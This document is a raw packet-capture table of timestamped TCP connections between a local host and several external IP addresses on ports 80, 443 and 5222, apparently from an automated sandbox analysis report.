Sep 30, 2024 12:20:56.753017902 CEST	443	50008	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.753087044 CEST	50008	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.753926039 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.754328012 CEST	50008	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.754343033 CEST	443	50008	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.755970001 CEST	5222	50006	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.756033897 CEST	50006	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.756287098 CEST	50006	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.758718967 CEST	80	50009	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.758781910 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.758927107 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.760566950 CEST	80	49965	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.760621071 CEST	49965	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.761127949 CEST	5222	50006	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.763647079 CEST	80	50009	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.763710022 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.768464088 CEST	80	50009	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.786212921 CEST	443	49993	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.786267042 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.786283016 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.795398951 CEST	443	50004	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.796169996 CEST	443	49992	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.796231985 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.796231985 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.796816111 CEST	80	50005	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.797003984 CEST	5222	50003	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.815506935 CEST	5222	49995	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.815558910 CEST	49995	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.852382898 CEST	80	49968	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.852440119 CEST	49968	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.859549999 CEST	50008	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.864989996 CEST	50006	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.865088940 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.865596056 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.867878914 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.867904902 CEST	443	50010	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.867966890 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.868413925 CEST	50011	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.869165897 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.869179964 CEST	443	50010	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.870039940 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.874305964 CEST	5222	50011	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.874373913 CEST	50011	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.875646114 CEST	50011	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.876574039 CEST	80	50012	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.876657009 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.876801968 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.881097078 CEST	5222	50011	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.882565022 CEST	80	50012	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.882616997 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.887974977 CEST	80	50012	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.896538973 CEST	443	49996	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.896601915 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.896615982 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.907401085 CEST	443	50008	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.907438993 CEST	443	50007	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.912790060 CEST	80	50009	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.912842035 CEST	5222	50006	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.916662931 CEST	5222	50000	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.916719913 CEST	50000	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.946077108 CEST	80	49972	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.946155071 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.970158100 CEST	50011	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.970288038 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.970529079 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.972598076 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.972686052 CEST	443	50013	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.972754955 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.973584890 CEST	50014	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.973925114 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.973958969 CEST	443	50013	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.975297928 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.975425005 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.975445986 CEST	443	50016	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.975512981 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.976600885 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.976613045 CEST	443	50016	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.978430986 CEST	5222	50014	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.978502989 CEST	50014	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.978713036 CEST	50014	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.980328083 CEST	80	50015	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.980395079 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.980578899 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.983601093 CEST	5222	50014	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.985467911 CEST	80	50015	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.985532045 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.990386963 CEST	80	50015	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.995785952 CEST	443	50001	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.995873928 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.995873928 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.997371912 CEST	443	49999	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.997436047 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.000267982 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.011400938 CEST	443	50010	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.017024994 CEST	80	50012	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.017199993 CEST	5222	50011	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.036030054 CEST	5222	50003	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.036214113 CEST	50003	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.054452896 CEST	80	49975	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.054524899 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.080465078 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.085572004 CEST	50014	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.085710049 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.085944891 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.087734938 CEST	50017	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.087920904 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.087968111 CEST	443	50018	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.088040113 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.088869095 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.089271069 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.089298010 CEST	443	50018	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.092647076 CEST	5222	50017	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.092715979 CEST	50017	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.092932940 CEST	50017	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.093696117 CEST	80	50019	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.093758106 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.093916893 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.097702026 CEST	5222	50017	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.098727942 CEST	80	50019	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.098774910 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.103607893 CEST	80	50019	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.115659952 CEST	443	50004	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.115784883 CEST	443	50004	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.115848064 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.115849018 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.115849018 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.123405933 CEST	443	50016	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.127418995 CEST	443	50013	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.132790089 CEST	80	50015	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.133256912 CEST	5222	50014	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.149960041 CEST	5222	50006	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.150033951 CEST	50006	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.159033060 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.160139084 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.163913012 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.165050030 CEST	80	50021	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.165138006 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.165216923 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.165764093 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.165951014 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.170561075 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.170752048 CEST	80	50021	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.170815945 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.175683975 CEST	80	50021	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.186877966 CEST	50001	49998	185.196.10.235	192.168.2.5
Sep 30, 2024 12:20:57.190702915 CEST	50017	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.190835953 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.191046953 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.193300009 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.193322897 CEST	443	50022	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.193381071 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.194536924 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.194551945 CEST	443	50022	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.195235968 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.195316076 CEST	443	50023	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.195513010 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.195698977 CEST	50024	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.196918011 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.196947098 CEST	443	50023	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.197340965 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.200542927 CEST	5222	50024	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.201019049 CEST	50024	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.201239109 CEST	50024	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.202178001 CEST	80	50025	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.202318907 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.202375889 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.206039906 CEST	5222	50024	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.207201004 CEST	80	50025	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.207279921 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.211183071 CEST	443	50007	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.211261034 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.213007927 CEST	80	50025	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.213047981 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.220940113 CEST	443	50008	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.221008062 CEST	50008	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.221049070 CEST	50008	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.224123955 CEST	80	49979	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.224208117 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.235414028 CEST	443	50018	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.236794949 CEST	80	50019	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.236808062 CEST	5222	50017	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.237303972 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:57.270523071 CEST	5222	50011	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.273068905 CEST	50011	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.301749945 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.308335066 CEST	50024	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.308466911 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.308963060 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.310576916 CEST	50026	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.310806990 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.310848951 CEST	443	50027	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.311739922 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.311784029 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.312911987 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.312927008 CEST	443	50027	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.315468073 CEST	5222	50026	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.316581964 CEST	80	50028	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.316652060 CEST	50026	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.316862106 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.316862106 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.317003012 CEST	50026	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.321748018 CEST	80	50028	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.321846008 CEST	5222	50026	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.321913004 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.326725006 CEST	80	50028	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.337795973 CEST	50001	49998	185.196.10.235	192.168.2.5
Sep 30, 2024 12:20:57.347404957 CEST	443	50023	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.351214886 CEST	443	50010	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.351309061 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.353209972 CEST	50010	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.355407953 CEST	443	50022	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.355504990 CEST	5222	50014	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.356803894 CEST	80	50025	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.356861115 CEST	5222	50024	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.356894970 CEST	50014	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.396224976 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:57.428760052 CEST	50026	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.428802013 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.429174900 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.430495977 CEST	50029	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.431299925 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.431339979 CEST	443	50030	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.431430101 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.432120085 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.432209969 CEST	443	50031	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.432290077 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.433346987 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.433360100 CEST	443	50030	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.433657885 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.434078932 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.434113979 CEST	443	50031	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.435250998 CEST	5222	50029	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.435326099 CEST	50029	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.435518026 CEST	50029	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.438420057 CEST	80	50032	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.440154076 CEST	443	50013	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.440248966 CEST	5222	50029	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.440248966 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.440248966 CEST	50013	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.440325975 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.440448999 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.445148945 CEST	80	50032	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.446062088 CEST	443	50016	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.446147919 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.446166039 CEST	50016	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.446167946 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.450937986 CEST	80	50032	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.471410990 CEST	443	50027	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.475980997 CEST	80	49984	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.477173090 CEST	49984	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.480094910 CEST	5222	50017	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.480165005 CEST	50017	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.480777025 CEST	80	50028	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.480807066 CEST	5222	50026	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.538547993 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.543831110 CEST	443	50018	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.543930054 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.543931007 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.543960094 CEST	443	50018	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.544003010 CEST	50018	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.544712067 CEST	50029	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.544863939 CEST	50032	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.545202971 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.546865940 CEST	50033	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.548033953 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.548067093 CEST	443	50034	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.548147917 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.549026966 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.549393892 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.549407005 CEST	443	50034	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.552025080 CEST	5222	50033	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.552103996 CEST	50033	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.552350998 CEST	50033	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.554214954 CEST	80	50035	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.554321051 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.554577112 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.557142973 CEST	5222	50033	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.559411049 CEST	80	50035	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.559554100 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.564805984 CEST	80	50035	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.573708057 CEST	5222	50024	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.577179909 CEST	50024	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.583410025 CEST	443	50031	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.591403008 CEST	443	50030	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.592803001 CEST	80	50032	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.592834949 CEST	5222	50029	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.639931917 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.640276909 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.641654968 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.646796942 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.646806955 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.660387993 CEST	80	49990	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.660482883 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.663753033 CEST	443	50022	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.663831949 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.663849115 CEST	50022	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.665373087 CEST	50033	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.665610075 CEST	50035	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.665875912 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.666054964 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.667438984 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.667510033 CEST	443	50036	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.667593002 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.668709993 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.668741941 CEST	443	50036	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.669204950 CEST	50037	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.670301914 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.670336962 CEST	443	50038	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.670923948 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.671096087 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.671976089 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.671993971 CEST	443	50038	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.672538996 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.674694061 CEST	443	50023	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.674777031 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.674846888 CEST	50023	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.676369905 CEST	5222	50037	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.676465034 CEST	50037	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.676763058 CEST	50037	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.678581953 CEST	80	50039	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.678649902 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.678831100 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.683295965 CEST	5222	50037	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.684947014 CEST	80	50039	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.685005903 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.686650038 CEST	5222	50026	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.686789036 CEST	50026	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.688808918 CEST	80	50021	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.690639019 CEST	80	50039	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.707402945 CEST	443	50034	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.712776899 CEST	80	50035	66.228.63.175	192.168.2.5
